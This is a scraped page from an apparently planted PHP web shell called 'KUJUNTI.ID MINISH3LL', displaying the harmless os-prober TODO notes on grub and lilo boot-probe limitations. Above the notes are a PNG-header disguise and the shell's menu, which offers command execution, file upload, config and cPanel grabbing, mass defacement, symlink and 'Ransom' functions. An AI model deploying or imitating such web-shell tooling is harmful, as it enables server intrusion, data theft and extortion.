\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /usr/share/doc/os-prober/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : //usr/share/doc/os-prober/TODO


This thing needs a regression test suite.

The grub linux-boot-probe has these limitations:

 - Does not handle grub present menus.
 - Does not support things like (hd0,1)/path/to/file
   although in the case of the kernel it will strip
   off the drive specification, and look for the file in the current
   partition.

The lilo linux-boot-probe has these limitations:

 - Doesn't map from devfs to normal if the lilo.conf uses devfs names
   (valid?)

linux-boot-prober:

- Partition names in boot loader config may have changed during
  the debian install, so cannot be trusted. Fix up root= lines,
  etc.
- To get to boot/, may need to parse fstab. But this can fail because
  as noted above, drive names may have changed!
- Maybe do some probing before partitioning and store info?
  Or don't support adding partitions before existing /boot partitions.

© KUJUNTI.ID